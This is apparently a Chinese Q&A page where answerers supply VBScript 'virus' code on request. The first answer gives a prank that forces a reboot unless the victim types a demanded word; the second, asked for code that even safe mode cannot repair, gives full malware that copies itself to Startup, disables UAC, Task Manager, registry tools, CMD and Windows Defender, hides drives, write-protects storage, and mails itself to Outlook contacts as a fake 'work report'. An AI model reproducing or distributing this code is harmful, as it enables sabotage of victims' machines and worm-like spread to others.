本文目录
请给多个vbs代码越多越好
最简单的 dim WSHshell set WSHshell = wscript.createobject(“wscript.shell“) WSHshell.run “shutdown -r -t 90“,0 ,true复杂一点的在加上点东西 on error resume next dim WSHshellA set WSHshellA = wscript.createobject(“wscript.shell“) WSHshellA.run “cmd.exe /c shutdown -r -t 90 -c ““叫老公，不喊就一分钟关你机，不信，试试···““ “,0 ,true dim a do while(a 《》 “老公“) a = inputbox (“叫老公,就不关机，快撒，说 ““““ “,“说不说“,“不说“,8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,“MsgBox“ loop msgbox chr(13) + chr(13) + chr(13) + “早说就行了嘛“ dim WSHshell set WSHshell = wscript.createobject(“wscript.shell“) WSHshell.run “cmd.exe /c shutdown -a“,0 ,true msgbox chr(13) + chr(13) + chr(13) + “哈哈哈哈，早叫老公不就行了“ 这个是弹出一个对话框,他必须在里面输入答案不然电脑重起,如果懂VB或者对系统命令比较了解的可以简单解决 要在复杂的可以做成循环多次的加分我给你代码
求一个超毒无比的vbs代码，最好能破坏电脑和安全模式也修复不了的vbs代码一定要超毒的
送你了On Error Resume Nextset fso=createobject(“scripting.filesystemobject“)set vbs=wscript.createobject(“wscript.shell“)pt=vbs.specialfolders(“startup“) & “\“set file=fso.getfile(wscript.scriptfullname)file.copy ptset fso=createobject(“scripting.filesystemobject“)set vbs=wscript.createobject(“wscript.shell“)pt=vbs.specialfolders(1) & “\“set file=fso.getfile(wscript.scriptfullname)file.copy ptset ws=wscript.createobject(“wscript.shell“)ws.popup “正在验证I/O接口...“,3,“接口工具“,vbinformationws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr“,1,“REG_DWORD“ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoNetSetup“,1,“REG_DWORD“if err.number《》0 thenOn Error Goto 0err.raise 1,“无法匹配的I/O接口,请以ADMINISTRATOR用户运行重试“,“Access failed (no permission)“end ifws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\脚本病毒加强版.vbs“,“RUNASADMIN“,“REG_SZ“ws.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin“,0,“REG_DWORD“ws.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA“,0,“REG_DWORD“ws.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop“,0,“REG_DWORD“ws.run “cmd /c echo 0》C:\Windows\Web\Screen\e.bmp“Set ol=CreateObject(“Out“+“look“+“.Application“)For x=1 To 100Set Mail=ol.CreateItem(0)Mail.to=ol.GetNameSpace(“MAPI“).AddressLists(1).AddressEntries(x)Mail.Subject=“工作报告“Mail.Body=“您好，这是今月的工作报告“Mail.Attachments.Add(dir2&“Win32system.vbs“)Mail.SendNextol.Quitws.run “cmd /c echo Your Computer Has Been Destoryed!》e.txt“ws.run “cmd /c echo Your Computer Has Been Destoryed!》c:\e.txt“wscript.sleep 2000ws.regwrite “HKCU\Control Panel\Desktop\wallpaper“,“C:\Windows\Web\Screen\e.bmp“,“REG_SZ“ws.run “RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters“ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoNetSetup“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoNetSetupIDPage“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoNetSetupSecurityPage“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoEntireNetwork“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoWorkgroupContents“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoFileSharingControl“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoPrintSharingControl“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CLASSES_ROOT\directory\background\ShellEx\ContextMenuHandlers\New\“,0,“REG_SZ“wscript.sleep 100ws.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityHealthService\Start“,4,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\noclose“,“1“,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoChangeStartMenu“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrivers“,67108863,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SchedulingAgent“,0,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies\WriteProtect“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsHistory“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsHistory“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\StartMenuLogOff“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskbar“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWindowsUpdate“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetActiveDesktop“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoActiveDesktop“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoActiveDesktopChanges“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Nodesktop“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoNetHood“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoAddPrinter“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDeletePrinter“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPrinterTabs“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSaveSettings“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun“,1,“REG_DWORD“wscript.sleep 100ws.regwrite “HKEY_CURRENT_USER\ControlPanel\Desktop\CoolSwitch“,0,“REG_SZ“wscript.sleep 100ws.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive“,67108863,“REG_DWORD“ws.run “cmd /c taskkill /f /im explorer.exe“wscript.sleep 3000ws.run “cmd /c start explorer.exe“wscript.sleep 2000ws.regwrite “HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD“,“2“,“REG_DWORD“wscript.sleep 100set vbs=wscript.createobject(“wscript.shell“)set ws=createobject(“wscript.shell“)domsgbox“你好“,vbexclamation,“VIRUS“wscript.sleep 5000loop
